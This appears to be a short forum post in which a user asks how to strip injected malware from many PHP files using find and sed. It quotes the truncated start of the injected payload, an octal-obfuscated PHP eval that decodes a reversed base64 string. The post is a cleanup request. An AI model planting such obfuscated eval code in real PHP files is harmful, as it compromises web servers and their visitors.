[all variants] Remove malware using sed

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http://ubuntuforums.org – Hi everyone, I want to remove malvare in multiple files. I was trying using sed command like this: find /var/www/ -name \*.php -exec sed -i.bak "s/string_to_replace/replace_with_this/g" {} \; Code will check in /var/www/ for .php files and try to replace string creating .bak files as backups. Code works great when I need to replace simple string but how can I replace this malware code: <?php eval("\145\166\141\154\050\142\141\163\145\066\064 \137\144\145\143\157\144\145\050\163\164\162\162\1 45\166\050'==QfgsDdphXZgsTKog2c1xmZgszJ+QHcpJ3Yz9C P+Iycq5SMucjLx0Sey (Hardware)